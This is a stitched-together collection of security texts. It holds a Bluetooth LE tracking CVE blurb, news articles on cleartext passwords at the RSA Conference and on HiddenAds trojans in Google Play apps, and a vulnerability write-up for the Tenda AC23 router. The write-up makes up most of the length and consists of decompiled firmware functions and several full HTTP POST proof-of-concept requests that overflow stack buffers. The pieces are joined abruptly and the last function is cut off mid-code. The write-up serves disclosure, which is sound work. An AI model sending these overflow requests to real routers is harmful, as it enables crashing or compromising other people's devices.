An information leakage vulnerability in the Bluetooth Low Energy advertisement scan response in Bluetooth Core Specifications 4.0 through 5.2, and extended scan response in Bluetooth Core Specifications 5.0 through 5.2, may be used to identify devices using Resolvable Private Addressing (RPA) by their response or non-response to specific scan requests from remote addresses. RPAs that have been associated with a specific remote device may also be used to identify a peer in the same manner by using its reaction to an active scan request. This has also been called an allowlist-based side channel.

CVE-2020-35473: ACM CCS 2022

An analysis by RSA Conference's security operations center found 20% of data over its network was unencrypted and more than 55,000 passwords were sent in the clear.

Even cybersecurity professionals need to improve their security posture.

That's the lesson from the RSA Conference in February, where the security operations center (SOC) run by Cisco and NetWitness captured 55,525 cleartext passwords from 2,210 unique accounts, the companies stated in a report released last week. In one case investigated by the SOC, a chief information security officer had a misconfigured email client that sent passwords and text in the clear, including sensitive documents such as their payment for a professional certification.

While the number of cleartext passwords is an improvement compared with the 96,361 passwords exposed in 2020 and the more than 100,000 sent in the clear in 2019, there is still room for improvement, says Jessica Bair Oppenheimer, director of technical alliances at Cisco Secure.

"As the RSA Conference is mostly attended by cybersecurity professionals and supporting roles within the security industry, we generally consider the demographic to represent more of a 'best-case' level of security awareness," she says. "Somewhat shockingly, unencrypted email is still being used in 2022."

The annual report presents a view into network usage among a security-focused group of users. Cisco and NetWitness emphasized that the wireless network at the RSA Conference is not configured in the most secure way, but configured to be monitored for educational purposes. For that reason, the network has a flat architecture, allowing any device to contact any other device on the network. Host isolation, which allow devices a route to the internet but not to other devices on the network, would be more secure but less interesting.

**User Credentials at Risk**

At approximately 19,900 attendees, the 2022 RSA Conference only had about half the number of people as the previous conference in 2020, but about the same number of users on the network, the report stated.

The major issue was failure to use encryption for the authentication step when using email and other popular applications. Nearly 20% of all data passed through the network in the clear, the report stated.

"Encrypting traffic does not necessarily make one more secure, but it does stop individuals from giving away their credentials, and organizations from giving away corporate asset information in the clear," the report stated.

Yet the situation isn't as bad as it could be. Because the wireless network includes traffic from the show floor, many of the usernames and passwords are likely from demo systems and environments, the report stated. Moreover, most of the cleartext usernames and passwords — almost 80% — were actually leaked by devices using the older version of the Simple Network Management Protocol (SNMP). Versions 1 and 2 of the protocol are considered insecure, while SNMP v3 adds significant security capabilities.

"This is not necessarily a high-fidelity threat," the report stated. "\[H\]owever, it does leak information about the device as well as the organization it's trying to communicate with."

In addition to the continued use of plaintext usernames and passwords, the SOC found that the number of online applications continues to grow rapidly, suggesting that the attendees are increasingly relying on mobile devices to get work done. The SOC, for example, captured unencrypted video camera traffic connecting to home security systems on port 80 and the unencrypted data used for setting up voice-over-IP calls.

**CISO Mistake**

For the most part, the unencrypted traffic is likely from small-business users, the companies stated in the report. "It is difficult to send email in cleartext these days, and analyzing these incidents found similarities," the report stated. "Most of this traffic was to and from hosted domains. This means email services on domains that are family names or small businesses."

Yet in one case, a chief information security officer had misconfigured their email client and ultimately exposed their email username and password by sending the data in the clear. The SOC discovered the issue when it found a receipt for a CISSP payment sent in the clear from an Android-based email client.

"The discovery sparked an investigation that confirmed dozens of emails from and to the person were downloaded across the open network in the unsecure protocol," the report stated.

Companies should verify that the technologies used by employees have created end-to-end encrypted connections and should apply zero-trust principles to check — at appropriate times — that the encryption is still being applied.

"We've found applications and websites that authenticate encrypted and then pass the data without encryption across the open networks," Cisco Secure's Oppenheimer says. "Alternatively, some will pass unencrypted credentials across open networks and then encrypt the data. Both scenarios are less than ideal."

Virtual private networks are not a panacea but can strengthen the security of unencrypted applications. Finally, organizations should use cybersecurity and awareness training to educate their hybrid workers in how to be secure when working from remote locations.

Unencrypted Traffic Still Undermining Wi-Fi Security

By Habiba Rashid
The apps reported by Malwarebytes contain Android trojan yet the developer is still active on Google Play, continuing their scam.
This is a post from HackRead.com Read the original post: Google Fails To Remove “App Developer” Behind Malware Scam

  
One can never be too sure about an **app’s legitimacy** even if it is found to have approving ratings on the Google Play store. On 1st November 2022, Malwarebytes Labs analyst Nathan Collier reported on a family of malicious apps developed by Mobile apps Group that are currently available on Google’s app store even at the time of writing.

Before proceeding to discuss the details of the malware’s workings, we advise our readers to watch out for the following apps and delete them from their devices immediately:  

*   Bluetooth Auto Connect
*   Bluetooth App Sender
*   Driver: Bluetooth, Wi-Fi, USB
*   Mobile transfer: smart switch

All four apps are infected with the hidden ads trojan and the developer seems to be familiar with common tactics used to **evade detection of malware** because they have created a self-delaying schedule for the displaying of these ads.

If you have any of these apps on your Android device remove them now

The Bluetooth Auto Connect app, for example, takes approximately four days from the time it is installed to display its first ad in Chrome. This is followed by further timed delays which are always succeeded by a sequence of new ads.

The **phishing sites** opened in Chrome vary and range from harmless sites used to produce pay-per-click to more dangerous sites that attempt to trick unwary users by stating that their device has been infected and needs to be updated.

This activity continues in the background even while the mobile device is locked which means that upon unlocking their phones, users will be faced with numerous phishing website tabs in Chrome that they will have to close each time. 

In their must-read **blog post**, the analysts at Malwarebytes have compiled a list that shows the long history of the variants of HiddenAds that have infected this particular app. This behavior, it seems, is also common for the other apps from the Mobile apps Group.

What’s shocking is that previous versions of these apps have been found to contain varying versions of Android/Trojan.HiddenAds, the developer is still active on Google Play, distributing more HiddenAds malware. 

Although it’s unclear why the company’s built-in malware defense program, **Google Play Protect**, is unable to detect these apps, it turns out that this is not the first time such an issue has been brought to light.

A recent **report from Bitdefender,** a cybersecurity company, showed that there were up to 35 malicious apps being listed on Play Store that have over 2 million downloads combined. They also noted that these apps rename themselves and change their app icon after being installed in order to confuse users and remain undetected. 

At times like this where users cannot even rely on the good ratings that an app presumably has to verify its authenticity (three of the malicious apps listed above have favorable ratings themselves), it is difficult to conclude how well one can guard its device against threats such as adware.

Moreover, with this one example of malware that has still not been removed, we can only imagine the other threats that go **undetected on the Google Play Store** and continue to infect the devices of those who install them. 

1.  **Android app with 1b users fails to fix flaws; expose to malware**
2.  **Play Store Apps Caught Spreading Android Malware to Millions**
3.  **BRATA Android malware factory resets phones after stealing funds**
4.  **Google, Microsoft and Oracle generated most vulnerabilities in 2021**
5.  **Scylla Ad Fraud Attack on iOS, Android Users Halted by Apple and Google**

I am a cyber security writer and one of my favourite games is Minecraft. I also really like obscure cat memes and during my free time, if I'm not found hanging around in Discord voice channels with my friends, I'm probably cycling and taking pictures of random cats on the street.

Google Fails To Remove “App Developer” Behind Malware Scam

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the shareSpeed parameter in the fromSetWifiGusetBasic function.

**ac23**

版本信息：V16.03.07.45\_cn

**fromSetSysTime→sub\_496104→strcpy((char \*)v6, s);**

if ( !strcmp(v20, "sync") )
  {
    v19 = sub\_496104(a1);
    v14 = sub\_4C9C40(v19);
  }

int \_\_fastcall sub\_496104(int a1)
{
  int v2; // \[sp+1Ch\] \[+1Ch\]
  int v3; // \[sp+20h\] \[+20h\]
  char \*s; // \[sp+24h\] \[+24h\]
  int v5; // \[sp+28h\] \[+28h\]
  \_\_int16 v6\[8\]; // \[sp+2Ch\] \[+2Ch\] BYREF
  \_WORD v7\[8\]; // \[sp+3Ch\] \[+3Ch\] BYREF
  int v8\[2\]; // \[sp+4Ch\] \[+4Ch\] BYREF
  int v9\[5\]; // \[sp+54h\] \[+54h\] BYREF

  v5 = 0;
  v6\[0\] = 48;
  v6\[1\] = 0;
  v6\[2\] = 0;
  v6\[3\] = 0;
  v6\[4\] = 0;
  v6\[5\] = 0;
  v6\[6\] = 0;
  v6\[7\] = 0;
  strcpy((char \*)v7, "0");
  v7\[1\] = 0;
  v7\[2\] = 0;
  v7\[3\] = 0;
  v7\[4\] = 0;
  v7\[5\] = 0;
  v7\[6\] = 0;
  v7\[7\] = 0;
  v8\[0\] = 0;
  v8\[1\] = 0;
  v9\[0\] = 0;
  v9\[1\] = 0;
  v9\[2\] = 0;
  v9\[3\] = 0;
  s = (char \*)websGetVar(a1, "timeZone", &unk\_4DDAE4);
  v3 = websGetVar(a1, "timePeriod", &unk\_4DDAE4);
  v2 = websGetVar(a1, "ntpServer", "time.windows.com");
  if ( strchr(s, ':') )
  {
    sscanf(s, "%\[^:\]:%s", v6, v7);//stack overflow
  }
  else
  {
    strcpy((char \*)v6, s);
    strcpy((char \*)v7, "0");
  }
  SetValue("sys.timesyn", "1");
  SetValue("sys.timemode", "auto");
  SetValue("sys.timezone", v6);
  SetValue("sys.timenextzone", v7);
  SetValue("sys.timefixper", v3);
  SetValue("sys.timentpserver", v2);
  if ( !CommitCfm() )
    return 1;
  GetValue("sys.timesyn", v8);
  if ( atoi((const char \*)v8) == 1 )
    sprintf((char \*)v9, "op=%d", 3);
  else
    sprintf((char \*)v9, "op=%d", 2);
  send\_msg\_to\_netctrl(24, v9);
  return v5;
}

**poc**

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 787
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system\_time.html?random=0.6878395284342707&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251mzhcvb
Connection: close

timeType=sync&timePeriod=86400&ntpServer=time.windows.com&timeZone=aa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&time=2000-01-01%2023%3A39%3A00

**formSetDeviceName→set\_device\_name→sprintf(v4, "%s;1", a1);**

int \_\_fastcall formSetDeviceName(int a1)
{
  int result; // $v0
  int v2; // \[sp+18h\] \[+18h\]
  const char \*v3; // \[sp+1Ch\] \[+1Ch\]
  const char \*v4; // \[sp+20h\] \[+20h\]
  int v5\[9\]; // \[sp+24h\] \[+24h\] BYREF

  v5\[0\] = 0;
  v5\[1\] = 0;
  v5\[2\] = 0;
  v5\[3\] = 0;
  v5\[4\] = 0;
  v5\[5\] = 0;
  v5\[6\] = 0;
  v5\[7\] = 0;
  v2 = 0;
  v4 = (const char \*)websGetVar(a1, "mac", &unk\_4DEB84);
  v3 = (const char \*)websGetVar(a1, "devName", &unk\_4DEB84);
  if ( set\_device\_name(v3, v4) )//stack\_overflow
  {
    sprintf((char \*)v5, "{\\"errCode\\":%d}", 1);
    result = websTransfer(a1, (const char \*)v5);
  }
  else
  {
    if ( !CommitCfm() )
      v2 = 1;
    sprintf((char \*)v5, "{\\"errCode\\":%d}", v2);
    result = websTransfer(a1, (const char \*)v5);
  }
  return result;
}

set\_device\_name

sprintf(v3, "client.devicename%s", (const char \*)v5);
sprintf(v4, "%s;1", a1);
SetValue(v3, v4);

**poc**

POST /goform/SetOnlineDevName HTTP/1.1
Host: 192.168.0.1
Content-Length: 264
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system\_time.html?random=0.9865714904007963&
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

mac=9c:fc:e8:da:9c:5b&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

**setSchedWifi→ strcpy((char \*)ptr + 2, v8)**

int \_\_fastcall setSchedWifi(int a1)
{
  int v1; // $v0
  void \*ptr; // \[sp+30h\] \[+30h\]
  int i; // \[sp+34h\] \[+34h\]
  char \*s; // \[sp+38h\] \[+38h\]
  char \*nptr; // \[sp+3Ch\] \[+3Ch\]
  const char \*v7; // \[sp+40h\] \[+40h\]
  const char \*v8; // \[sp+44h\] \[+44h\]
  char \*v9; // \[sp+48h\] \[+48h\]
  int v10; // \[sp+4Ch\] \[+4Ch\]
  int v11; // \[sp+50h\] \[+50h\]
  int v12\[2\]; // \[sp+54h\] \[+54h\] BYREF
  int v13; // \[sp+5Ch\] \[+5Ch\] BYREF
  int v14; // \[sp+60h\] \[+60h\] BYREF
  int v15; // \[sp+64h\] \[+64h\] BYREF
  int v16; // \[sp+68h\] \[+68h\] BYREF
  int v17; // \[sp+6Ch\] \[+6Ch\] BYREF
  int v18; // \[sp+70h\] \[+70h\] BYREF
  int v19; // \[sp+74h\] \[+74h\] BYREF
  char v20\[256\]; // \[sp+78h\] \[+78h\] BYREF
  char v21\[256\]; // \[sp+178h\] \[+178h\] BYREF

  v11 = 1;
  v10 = 1;
  v12\[0\] = 0;
  v12\[1\] = 0;
  v13 = 1;
  v14 = 1;
  v15 = 1;
  v16 = 1;
  v17 = 1;
  v18 = 1;
  v19 = 1;
  i = 0;
  memset(v20, 0, sizeof(v20));
  memset(v21, 0, sizeof(v21));
  v9 = (char \*)websGetVar(a1, "schedWifiEnable", "1");
  v8 = (const char \*)websGetVar(a1, "schedStartTime", &unk\_4D7C58);
  v7 = (const char \*)websGetVar(a1, "schedEndTime", &unk\_4D7C58);
  nptr = (char \*)websGetVar(a1, "timeType", "0");
  s = (char \*)websGetVar(a1, "day", "1,1,1,1,1,1,1");
  v1 = wifi\_get\_mibname("wlan", "enable", v20);
  GetValue(v1, v12);
  if ( !LOBYTE(v12\[0\]) )
    strcpy((char \*)v12, "1");
  if ( atoi(nptr) )
    sscanf(s, "%d,%d,%d,%d,%d,%d,%d", &v13, &v14, &v15, &v16, &v17, &v18, &v19);
  SetValue("sys.sched.wifi.timeType", nptr);
  ptr = malloc(0x19u);
  v10 = atoi(v9);
  if ( ptr )
  {
    \*(\_BYTE \*)ptr = atoi((const char \*)v12) != 0;
    \*((\_BYTE \*)ptr + 1) = atoi(v9) != 0;
    strcpy((char \*)ptr + 2, v8);
    strcpy((char \*)ptr + 10, v7);
    for ( i = 0; i < 7; ++i )
      \*((\_BYTE \*)ptr + i + 18) = \*(&v13 + i) != 0;
    sub\_461D5C(ptr, 0);
    free(ptr);
    v11 = 0;
  }
  CommitCfm();
  if ( v10 )
  {
    sprintf(v21, "op=%d", 1);
    send\_msg\_to\_netctrl(62, v21);
    v11 = 0;
  }
  websWrite(
    a1,
    "HTTP/1.1 200 OK\\nContent-type: text/plain; charset=utf-8\\nPragma: no-cache\\nCache-Control: no-cache\\n\\n");
  websWrite(a1, "{\\"errCode\\":%d}", v11);
  return websDone(a1, 200);
}

**poc**

POST /goform/openSchedWifi HTTP/1.1
Host: 192.168.0.1
Content-Length: 102
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wifi\_time.html?random=0.05230918147386965&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251aoccvb
Connection: close

schedWifiEnable=1&schedStartTime=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&schedEndTime=07%3A00&timeType=1&day=1%2C1%2C1%2C1%2C1%2C0%2C0

**fromSetWirelessRepeat→sub\_45CD64→sub\_45CAD8→sub\_45BB10**

if ( strcmp(v14, "none") )
  {
    if ( strcmp(v14, "wpapsk") )
      return -1;
    v13 = (char \*)websGetVar(a1, "wpapsk\_type", "wpa&wpa2");
    v12 = (char \*)websGetVar(a1, "wpapsk\_crypto", "aes");
    s = (char \*)websGetVar(a1, "wpapsk\_key", &unk\_4D72FC);
    if ( !\*s && strlen(s) < 8 )
      return -1;
    if ( !strcmp(v13, "wpa") )
    {
      strcpy(v20, "psk");
    }
    else if ( !strcmp(v13, "wpa2") )
    {
      strcpy(v20, "psk2");
    }
    else
    {
      strcpy(v20, "psk+psk2");
    }
    if ( !strcmp(v12, "tkip&aes") )
      strcpy(v21, "tkip+aes");
    else
      strcpy(v21, v12);
    v6 = wifi\_get\_mibname(a3, "extend\_wpapsk\_type", v18);
    SetValue(v6, v20);
    v7 = wifi\_get\_mibname(a3, "extend\_wpapsk\_crypto", v18);
    SetValue(v7, v21);
    v8 = wifi\_get\_mibname(a3, "extend\_wpapsk\_key", v18);
    SetValue(v8, s);
  }

**poc**

POST /goform/WifiExtraSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 247
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wifi\_time.html?random=0.05230918147386965&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251fsacvb
Connection: close

wifi\_chkHz=1&wl\_mode=wisp&wl\_enbale=1&country\_code=CN&wpsEn=0&guestEn=0&iptvEn=0&wifiTimerEn=1&smartSaveEn=1&dmzEn=1&handset=0&ssid=fcniux&wpapsk\_key=11111111&security=wpapsk&wpapsk\_type=wpa&wpapsk\_crypto=aaaaaaaaaaaaaaaaaaaaaaaaaaaa&mac=undifined

**fromSetWifiGusetBasic**

\_\_src = (char \*)websGetVar(param\_1,"shareSpeed",&DAT\_004d83a0);
  strcpy((char \*)&local\_124,\_\_src);

**poc**

POST /goform/WifiGuestSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 531
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251tyacvb
Connection: close

guestEn=1&guestEn\_5g=1&guestSecurity=wpapsk&guestSecurity\_5g=wpapsk&guestSsid=Tenda\_VIP&guestSsid\_5g=Tenda\_VIP\_5G&guestWrlPwd=11111111&guestWrlPwd\_5g=11111111&effectiveTime=8&shareSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

**formSetQosBand**

formSetQosBand→set\_qosMib\_list→strcpy(v8, s);

int \_\_fastcall formSetQosBand(int a1)
{
int v2; // \[sp+30h\] \[+30h\]
int v3\[8\]; // \[sp+34h\] \[+34h\] BYREF
char v4\[256\]; // \[sp+54h\] \[+54h\] BYREF
int v5\[8\]; // \[sp+154h\] \[+154h\] BYREF
int v6\[8\]; // \[sp+174h\] \[+174h\] BYREF
int v7\[5\]; // \[sp+194h\] \[+194h\] BYREF

v3\[0\] = 0;
v3\[1\] = 0;
v3\[2\] = 0;
v3\[3\] = 0;
v3\[4\] = 0;
v3\[5\] = 0;
v3\[6\] = 0;
v3\[7\] = 0;
memset(v4, 0, sizeof(v4));
v2 = websGetVar(a1, "list", &unk\_4DEB84);
unSetQosOldMiblist();
set\_qosoldMib\_list();
unSetQosMiblist();
set\_qosMib\_list(v2, 10);

int \_\_fastcall set\_qosMib\_list(const char \*a1, char a2)
{
  char \*v2; // $v0
  char \*s; // \[sp+24h\] \[+24h\]
  const char \*v5; // \[sp+28h\] \[+28h\]
  int v6; // \[sp+2Ch\] \[+2Ch\]
  int v7; // \[sp+30h\] \[+30h\] BYREF
  char v8\[256\]; // \[sp+34h\] \[+34h\] BYREF
  int v9; // \[sp+134h\] \[+134h\] BYREF
  int v10; // \[sp+138h\] \[+138h\]
  int v11\[8\]; // \[sp+13Ch\] \[+13Ch\] BYREF
  int v12\[4\]; // \[sp+15Ch\] \[+15Ch\] BYREF
  int v13\[4\]; // \[sp+16Ch\] \[+16Ch\] BYREF
  char v14\[256\]; // \[sp+17Ch\] \[+17Ch\] BYREF
  int v15; // \[sp+27Ch\] \[+27Ch\]
  int v16; // \[sp+280h\] \[+280h\]
  int v17; // \[sp+284h\] \[+284h\]
  int v18; // \[sp+288h\] \[+288h\]

  v7 = 0;
  memset(v8, 0, sizeof(v8));
  v9 = 0;
  v10 = 0;
  v11\[0\] = 0;
  v11\[1\] = 0;
  v11\[2\] = 0;
  v11\[3\] = 0;
  v11\[4\] = 0;
  v11\[5\] = 0;
  v11\[6\] = 0;
  v11\[7\] = 0;
  v12\[0\] = 0;
  v12\[1\] = 0;
  v12\[2\] = 0;
  v12\[3\] = 0;
  v13\[0\] = 0;
  v13\[1\] = 0;
  v13\[2\] = 0;
  v13\[3\] = 0;
  memset(v14, 0, sizeof(v14));
  s = (char \*)a1;
  v2 = strchr(a1, a2);
  while ( v2 )
  {
    v6 = 0;
    \*v2 = 0;
    v5 = v2 + 1;
    memset(v8, 0, sizeof(v8));
    strcpy(v8, s);
    if ( v8\[0\] == 59 )
    {
      sscanf(v8, ";%\[^;\];%\[^;\];%\[^;\];%\[^;\];", &v9, v11, v13, v12);
    }
    else
    {
      sscanf(v8, "%\[^\\r\]\\r%\[^\\r\]\\r%\[^\\r\]\\r%s", v14, v11, v13, v12);
      v6 = 1;
    }
    if ( atoi((const char \*)v13) || atoi((const char \*)v12) )
    {
      if ( v6 == 1 )
        set\_device\_name(v14, v11);

这个参数长度不加以限制还会影响set\_device\_name

**poc**

POST /goform/SetNetControlList HTTP/1.1
Host: 192.168.0.1
Content-Length: 791
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/net\_control.html?random=0.0444079600832199&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251aticvb
Connection: close

list=DESKTOP-V29RD1268aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:77:24:54:a9:c000
Unknownaaaaaaaaaaaaaaaaaaaaaaaaaaaaunknown00

**setSmartPowerManagement**

    nptr = (char \*)websGetVar(a1, "powerSavingEn", "0");
  s = (char \*)websGetVar(a1, "time", "00:00-7:30");
  v4 = websGetVar(a1, "powerSaveDelay", "1");
  v3 = (char \*)websGetVar(a1, "ledCloseType", "allClose");
  if ( nptr && s && v4 && v3 )
  {
    sscanf(s, "%\[^:\]:%\[^-\]-%\[^:\]:%s", v7, v8, v9, v10);
    sprintf(v11, "%s:%s", (const char \*)v7, (const char \*)v8);
    sprintf(v12, "%s:%s", (const char \*)v9, (const char \*)v10);
    GetValue("sys.sched.led.closetype", v13);

**poc**

POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 803
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/sleep\_mode.html?random=0.7222154127483253&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251csvcvb
Connection: close

powerSavingEn=1&time=0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0%3A00-07%3A00&ledCloseType=allClose&powerSaveDelay=1

**formSetFirewallCfg**

int \_\_fastcall formSetFirewallCfg(int a1)
{
  int v1; // $a1
  int v2; // $a2
  \_BOOL4 v4; // \[sp+20h\] \[+20h\]
  char \*s; // \[sp+24h\] \[+24h\]
  int v6\[2\]; // \[sp+28h\] \[+28h\] BYREF
  char v7\[64\]; // \[sp+30h\] \[+30h\] BYREF
  int v8\[2\]; // \[sp+70h\] \[+70h\] BYREF
  char v9\[64\]; // \[sp+78h\] \[+78h\] BYREF

  v6\[0\] = 0;
  v6\[1\] = 0;
  memset(v7, 0, sizeof(v7));
  v8\[0\] = 0;
  v8\[1\] = 0;
